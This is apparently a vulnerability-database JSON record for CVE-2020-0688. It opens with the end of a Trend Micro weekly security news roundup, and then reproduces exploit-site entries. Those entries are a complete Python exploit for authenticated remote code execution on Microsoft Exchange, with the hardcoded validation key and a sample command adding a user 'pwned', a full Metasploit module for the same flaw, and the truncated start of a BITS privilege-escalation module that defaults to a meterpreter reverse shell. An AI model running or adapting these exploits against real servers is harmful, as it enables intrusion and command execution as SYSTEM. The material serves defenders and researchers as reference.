Campaign**](<https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/misconfigured-docker-daemon-api-ports-attacked-for-kinsing-malware-campaign>)\n\n_A campaign that targets misconfigured Docker Daemon API ports through Kinsing malware was reported by security researchers from Aqua Security. The campaign exploited the ports to run an Ubuntu container. According to the researchers, Kinsing malware\u2019s strings revealed that it is a Golang-based Linux agent._\n\n[**Threat Actors Deliver Courier-Themed Spam Campaign with Attached ACE Files**](<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/threat-actors-deliver-courier-themed-spam-campaign-with-attached-ace-files>)\n\n_Trend Micro researchers detected a new courier service-themed malicious spam campaign that uses ACE files as attachments. The samples were gathered from Trend Micro\u2019s honeypot. The email poses as a shipment arrival notification with a fake receipt attached. It then convinces receivers to download the attachment by asking them to check if the address on the receipt is correct.blo_\n\n[**Exploring Common Threats to Cloud Security**](<https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/exploring-common-threats-to-cloud-security>)\n\n_Trend Micro\u2019s recent cloud research provides examples of threats and risks organizations could face when migrating to the cloud or using cloud services. No matter the cloud service or platform, the common theme is that misconfiguration continues to be one of the major pitfalls of cloud security, affecting both companies who subscribe to cloud services and users of software that are hosted on the cloud._\n\n[**PowerPoint \u2018Weakness\u2019 Opens Door to Malicious Mouse-Over Attack**](<https://threatpost.com/powerpoint-weakness-mouse-over-attack/154589/>)\n\n_A researcher is sounding the alarm over what he believes could be a novel attack vector which allows a hacker to manipulate a PowerPoint file to download and begin the installation of malware, simply by hovering over a hypertext link. The technique does require a victim to accept one pop-up dialogue box to run or install a program. For those reasons, Microsoft does not consider this a vulnerability. _\n\n[**Cloud Transformation Is the Biggest Opportunity to Fix Security**](<https://blog.trendmicro.com/cloud-transformation-is-the-biggest-opportunity-to-fix-security/>)\n\n_Lower costs, improved efficiencies and faster time to market are some of the primary benefits of transitioning to the cloud. However, it\u2019s not done overnight. It can take years to move complete data centers and operational applications to the cloud and the benefits won\u2019t be fully realized until most functional data have been transitioned._\n\n[**Who is World Wired Labs and Why Are They Selling an Android Trojan?**](<https://www.cyberscoop.com/world-wired-labs-winnti-netwire-china-blackberry-cylance/>)\n\n_A company advertising a remote access tool frequently used by criminals and nation-state hackers may be serving as a front for a Chinese hacking group, according to research published by BlackBerry Cylance. In a report on remote access trojans (RAT), researchers detail an Android malware variant, which they call PWNDROID4, that can be used to monitor targets\u2019 phone calls, record audio, send and receive text messages, and track victims\u2019 GPS location._\n\nIs your organization looking to migrate to the cloud? Share your thoughts in the comments below or follow me on Twitter to continue the conversation: [@JonLClay.](<https://twitter.com/jonlclay>)\n\nThe post [This Week in Security News: Exploring Common Threats to Cloud Security and Zoom Removes Meeting IDs from App Title Bar to Improve Privacy](<https://blog.trendmicro.com/this-week-in-security-news-exploring-common-threats-to-cloud-security-and-zoom-removes-meeting-ids-from-app-title-bar-to-improve-privacy/>) appeared first on [](<https://blog.trendmicro.com>).", "cvss3": {}, "published": "2020-04-10T12:46:43", "type": "trendmicroblog", "title": "This Week in Security News: Exploring Common Threats to Cloud Security and Zoom Removes Meeting IDs from App Title Bar to Improve Privacy", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-04-10T12:46:43", "id": "TRENDMICROBLOG:9BC812C1F699A6136F37C0ACE6451F20", "href": "https://blog.trendmicro.com/this-week-in-security-news-exploring-common-threats-to-cloud-security-and-zoom-removes-meeting-ids-from-app-title-bar-to-improve-privacy/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2021-12-19T19:21:18", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-02T00:00:00", "type": "zdt", "title": "Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-02T00:00:00", "id": "1337DAY-ID-34037", "href": "https://0day.today/exploit/description/34037", "sourceData": "# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution\n# Exploit Author: Photubias\n# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688\n# [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys\n# Vendor Homepage: https://www.microsoft.com\n# Version: MS Exchange Server 2010 SP3 up to 2019 CU4\n# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019\n# CVE: CVE-2020-0688\n\n#! /usr/bin/env python\n# -*- coding: utf-8 -*- \n''' \n\n \n\tCopyright 2020 Photubias(c)\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http://www.gnu.org/licenses/>.\n \n File name CVE-2020-0688-Photubias.py\n written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be\n\n This is a native implementation without requirements, written in Python 2.\n Works equally well on Windows as Linux (as MacOS, probably ;-)\n Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net\n\n Example Output:\n CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c \"net user pwned pwned /add\"\n [+] Login worked\n [+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570\n [+] Detected OWA version number 15.2.221.12\n [+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable!\n [+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]:\n [+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g==\n Sending now ...\n'''\nimport urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass\n\n## STATIC STRINGS\n# This string acts as a template for the serialization (contains \"###payload###\" to be replaced and TWO size locations)\nstrSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=')\n# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability)\nstrSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF')\n\ndef convertInt(iInput, length): \n return struct.pack(\"<I\" , int(iInput)).encode('hex')[:length]\n\ndef getYsoserialPayload(sCommand, sSessionId):\n ## PART1 of the payload to hash\n strPart1 = strSerTemplate.replace('###payload###', sCommand)\n ## Fix the length fields\n #print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand))\n #print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand))\n strLength1 = convertInt(0x06b8 + len(sCommand),4)\n strLength2 = convertInt(0x04da + len(sCommand),4)\n strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:]\n strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:]\n \n ## PART2 of the payload to hash\n strPart2 = '274e7bb9'\n for v in sSessionId: strPart2 += binascii.hexlify(v)+'00'\n strPart2 = binascii.unhexlify(strPart2)\n \n strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest()\n strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac))\n return strResult\n\ndef verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar):\n if not sTarget[-1:] == '/': sTarget += '/'\n ## Verify Login\n lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'}\n try: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read()\n except: print('[!] Error, ' + sTarget + ' not reachable')\n bLoggedIn = False\n for cookie in oCookjar:\n if cookie.name == 'cadata': bLoggedIn = True\n if not bLoggedIn:\n print('[-] Login Wrong, too bad')\n exit(1)\n print('[+] Login worked')\n\n ## Verify Session ID\n sSessionId = ''\n sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read()\n for cookie in oCookjar:\n if 'SessionId' in cookie.name: sSessionId = cookie.value\n print('[+] Got ASP.NET Session ID: ' + sSessionId)\n\n ## Verify OWA Version\n sVersion = ''\n try: sVersion = sResult.split('stylesheet')[0].split('href=\"')[1].split('/')[2]\n except: sVersion = 'favicon'\n if 'favicon' in sVersion:\n print('[*] Problem, this user has never logged in before (wizard detected)')\n print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx')\n exit(1)\n print('[+] Detected OWA version number '+sVersion)\n\n ## Verify ViewStateValue\n sViewState = ''\n try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value=\"')[1].split('\"')[0]\n except: pass\n if sViewState == 'B97B4E27':\n print('[+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable!')\n else:\n print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState)\n ans = raw_input('[?] Still want to try the exploit? [y/N]: ')\n if ans == '' or ans.lower() == 'n': exit(1)\n return sSessionId, sTarget, sViewState\n \ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='')\n parser.add_argument('-u', '--username', help='Username (e.g. joe or [email\u00a0protected])', default='')\n parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='')\n parser.add_argument('-c', '--command', help='Command to put behind \"cmd /c \" (e.g. net user pwned pwned /add)', default='')\n args = parser.parse_args()\n if args.target == '' or args.username == '' or args.command == '':\n print('[!] Example usage: ')\n print(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c \"net user pwned pwned /add\"')\n else:\n if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ')\n else: sPassword = args.password\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n oCookjar = cookielib.CookieJar()\n #oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'})\n #oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy)\n oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar))\n sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar)\n ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ')\n if ans.lower() == 'n': exit(0)\n sPayLoad = getYsoserialPayload(args.command, sSessionId)\n print('[+] Got Payload: ' + sPayLoad)\n sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad)\n print(' Sending now ...')\n try: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'}))\n except urllib2.HTTPError, e:\n if e.code == '500': print('[+] This probably worked (Error Code 500 received)')\n\nif __name__ == \"__main__\":\n\tmain()\n", "sourceHref": "https://0day.today/exploit/34037", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-03-05T03:14:28", "description": "This Metasploit module exploits a .NET serialization vulnerability in the Exchange Control Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not randomizing the keys on a per-installation basis resulting in them using the same validationKey and decryptionKey values. With knowledge of these, values an attacker can craft a special viewstate to cause an OS command to be executed by NT_AUTHORITY\\SYSTEM using .NET deserialization.", "cvss3": {}, "published": "2020-03-05T00:00:00", "type": "zdt", "title": "Exchange Control Panel Viewstate Deserialization Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-05T00:00:00", "id": "1337DAY-ID-34051", "href": "https://0day.today/exploit/description/34051", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'bindata'\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n # include Msf::Auxiliary::Report\r\n include Msf::Exploit::Remote::HttpClient\r\n include Msf::Exploit::CmdStager\r\n\r\n DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'\r\n VALIDATION_KEY = \"\\xcb\\x27\\x21\\xab\\xda\\xf8\\xe9\\xdc\\x51\\x6d\\x62\\x1d\\x8b\\x8b\\xf1\\x3a\\x2c\\x9e\\x86\\x89\\xa2\\x53\\x03\\xbf\"\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Exchange Control Panel Viewstate Deserialization',\r\n 'Description' => %q{\r\n This module exploits a .NET serialization vulnerability in the\r\n Exchange Control Panel (ECP) web page. The vulnerability is due to\r\n Microsoft Exchange Server not randomizing the keys on a\r\n per-installation basis resulting in them using the same validationKey\r\n and decryptionKey values. With knowledge of these, values an attacker\r\n can craft a special viewstate to cause an OS command to be executed\r\n by NT_AUTHORITY\\SYSTEM using .NET deserialization.\r\n },\r\n 'Author' => 'Spencer McIntyre',\r\n 'License' => MSF_LICENSE,\r\n 'References' => [\r\n ['CVE', '2020-0688'],\r\n ['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],\r\n ],\r\n 'Platform' => 'win',\r\n 'Targets' =>\r\n [\r\n [ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],\r\n [ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],\r\n [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]\r\n ],\r\n 'DefaultOptions' =>\r\n {\r\n 'SSL' => true\r\n },\r\n 'DefaultTarget' => 1,\r\n 'DisclosureDate' => '2020-02-11',\r\n 'Notes' =>\r\n {\r\n 'Stability' => [ CRASH_SAFE, ],\r\n 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],\r\n 'Reliability' => [ REPEATABLE_SESSION, ],\r\n }\r\n ))\r\n\r\n register_options([\r\n Opt::RPORT(443),\r\n OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),\r\n OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),\r\n OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])\r\n ])\r\n\r\n register_advanced_options([\r\n OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),\r\n ])\r\n end\r\n\r\n def check\r\n state = get_request_setup\r\n viewstate = state[:viewstate]\r\n return CheckCode::Unknown if viewstate.nil?\r\n\r\n viewstate = Rex::Text.decode_base64(viewstate)\r\n body = viewstate[0...-20]\r\n signature = viewstate[-20..-1]\r\n\r\n unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature\r\n return CheckCode::Safe\r\n end\r\n\r\n # we've validated the signature matches based on the data we have and thus\r\n # proven that we are capable of signing a viewstate ourselves\r\n CheckCode::Vulnerable\r\n end\r\n\r\n def generate_viewstate(generator, session_id, cmd)\r\n viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd)\r\n signature = generate_viewstate_signature(generator, session_id, viewstate)\r\n Rex::Text.encode_base64(viewstate + signature)\r\n end\r\n\r\n def generate_viewstate_signature(generator, session_id, viewstate)\r\n mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>')\r\n mac_key_bytes << Rex::Text.to_unicode(session_id)\r\n OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)\r\n end\r\n\r\n def exploit\r\n state = get_request_setup\r\n\r\n # the major limit is the max length of a GET request, the command will be\r\n # XML escaped and then base64 encoded which both increase the size\r\n if target.arch.first == ARCH_CMD\r\n execute_command(payload.encoded, opts={state: state})\r\n else\r\n cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first\r\n execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})\r\n end\r\n end\r\n\r\n def execute_command(cmd, opts)\r\n state = opts[:state]\r\n viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)\r\n 5.times do |iteration|\r\n # this request *must* be a GET request, can't use POST to use a larger viewstate\r\n send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),\r\n 'cookie' => state[:cookies].join(''),\r\n 'agent' => state[:user_agent],\r\n 'vars_get' => {\r\n '__VIEWSTATE' => viewstate,\r\n '__VIEWSTATEGENERATOR' => state[:viewstate_generator]\r\n }\r\n })\r\n break\r\n rescue Rex::ConnectionError, Errno::ECONNRESET => e\r\n vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')\r\n sleep iteration\r\n end\r\n end\r\n\r\n def get_request_setup\r\n # need to use a newer default user-agent than what Metasploit currently provides\r\n # see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string\r\n user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'\r\n res = send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'),\r\n 'method' => 'POST',\r\n 'agent' => user_agent,\r\n 'vars_post' => {\r\n 'password' => datastore['PASSWORD'],\r\n 'flags' => '4',\r\n 'destination' => full_uri(normalize_uri(target_uri.path, 'owa')),\r\n 'username' => datastore['USERNAME']\r\n }\r\n })\r\n fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?\r\n cookies = [res.get_cookies]\r\n\r\n res = send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),\r\n 'cookie' => res.get_cookies,\r\n 'agent' => user_agent\r\n })\r\n fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200\r\n cookies << res.get_cookies\r\n\r\n viewstate_generator = res.body.scan(/id=\"__VIEWSTATEGENERATOR\"\\s+value=\"([a-fA-F0-9]{8})\"/).flatten[0]\r\n if viewstate_generator.nil?\r\n print_warning(\"Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}\")\r\n viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR\r\n else\r\n vprint_status(\"Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}\")\r\n end\r\n\r\n viewstate = res.body.scan(/id=\"__VIEWSTATE\"\\s+value=\"([a-zA-Z0-9\\+\\/]+={0,2})\"/).flatten[0]\r\n if viewstate.nil?\r\n vprint_warning('Failed to find the __VIEWSTATE value')\r\n end\r\n\r\n session_id = res.get_cookies.scan(/ASP\\.NET_SessionId=([\\w\\-]+);/).flatten[0]\r\n if session_id.nil?\r\n fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')\r\n end\r\n vprint_status(\"Recovered the ASP.NET_SessionID: #{session_id}\")\r\n\r\n {user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}\r\n end\r\nend\n\n# 0day.today [2020-03-05] #", "sourceHref": "https://0day.today/exploit/34051", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-12-07T13:40:00", "description": "This Metasploit module exploits CVE-2020-0787, an arbitrary file move vulnerability in outdated versions of the Background Intelligent Transfer Service (BITS), to overwrite C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll with a malicious DLL containing the attacker's payload. To achieve code execution as the SYSTEM user, the Update Session Orchestrator service is then started, which will result in the malicious WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a DLL hijacking issue within the Update Session Orchestrator Service. Note that presently this module only works on Windows 10 and Windows Server 2016 and later as the Update Session Orchestrator Service was only introduced in Windows 10. Note that only Windows 10 has been tested, so your mileage may vary on Windows Server 2016 and later.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-12T00:00:00", "type": "zdt", "title": "Background Intelligent Transfer Service Privilege Escalation Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0787", "CVE-2020-0688"], "modified": "2020-06-12T00:00:00", "id": "1337DAY-ID-34553", "href": "https://0day.today/exploit/description/34553", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = ExcellentRanking\n\n include Msf::Post::Windows::Priv\n include Msf::Exploit::EXE # Needed for generate_payload_dll\n include Msf::Post::Windows::FileSystem\n include Msf::Post::Windows::ReflectiveDLLInjection\n include Msf::Exploit::FileDropper\n include Msf::Post::File\n include Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability',\n 'Description' => %q{\n This module exploits CVE-2020-0787, an arbitrary file move vulnerability in outdated versions of the\n Background Intelligent Transfer Service (BITS), to overwrite C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll\n with a malicious DLL containing the attacker's payload.\n\n To achieve code execution as the SYSTEM user, the Update Session Orchestrator service is then started, which\n will result in the malicious WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a DLL hijacking\n issue within the Update Session Orchestrator Service.\n\n Note that presently this module only works on Windows 10 and Windows Server 2016 and later as the\n Update Session Orchestrator Service was only introduced in Windows 10. Note that only Windows 10 has been tested,\n so your mileage may vary on Windows Server 2016 and later.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'itm4n', # PoC\n 'gwillcox-r7' # msf module\n ],\n 'Platform' => ['win'],\n 'SessionTypes' => ['meterpreter'],\n 'Privileged' => true,\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Targets' =>\n [\n [ 'Windows DLL Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper } ],\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2020-03-10',\n 'References' =>\n [\n ['CVE', '2020-0787'],\n ['URL', 'https://itm4n.github.io/cve-2020-0787-windows-bits-eop/'],\n ['URL', 'https://github.com/itm4n/BitsArbitraryFileMove'],\n ['URL', 'https://attackerkb.com/assessments/e61cfec0-d766-4e7e-89f7-5aad2460afb8'],\n ['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'],\n ['URL', 'https://itm4n.github.io/usodllloader-part1/'],\n ['URL', 'https://itm4n.github.io/usodllloader-part2/'],\n ],\n 'Notes' =>\n {\n 'SideEffects' => [ ARTIFACTS_ON_DISK ],\n 'Reliability' => [ REPEATABLE_SESSION ],\n 'Stability' => [ CRASH_SAFE ]\n },\n 'DefaultOptions' =>\n {\n 'EXITFUNC' => 'thread',\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n 'WfsDelay' => 900\n }\n )\n )\n\n register_options([\n OptBool.new('OVERWRITE_DLL', [true, 'Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).', false]),\n OptInt.new('JOB_WAIT_TIME', [true, 'Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds', 